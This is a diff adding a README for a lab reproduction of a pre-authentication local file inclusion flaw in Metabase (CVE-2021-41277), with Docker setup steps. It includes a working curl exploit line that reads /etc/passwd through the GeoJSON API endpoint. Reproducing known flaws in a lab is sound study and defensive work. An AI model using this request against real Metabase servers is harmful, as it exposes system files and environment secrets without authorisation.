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+# Metabase Pre-Auth Local File Inclusion (CVE-2021-41277)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Metabase is an open source data analytics platform. In affected versions (x.40.0-x.40.4) a security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support, unauthenticated attackers can use this vulnerability to read local file (including environment variables).
+
+References:
+
+- <https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr>
+- <https://github.com/tahtaciburak/CVE-2021-41277>
+
+## Environment Setup
+
+Execute following command to start a Metabase server 0.40.4:
+
+```
+docker compose up -d
+```
+
+After the server is started, you can browse the `http://your-ip:3000` to see the installation instructions like that:
+
+![](1.png)
+
+Fill in your information, and skip the data source form.
+
+## Vulnerability Reproduce
+
+Simplely use the CURL to exploit this flaw:
+
+```
+curl -v http://your-ip:3000/api/geojson?url=file:////etc/passwd
+```
+
+As you can see, `/etc/passwd` has been exposed successfully.
+
+![](2.png)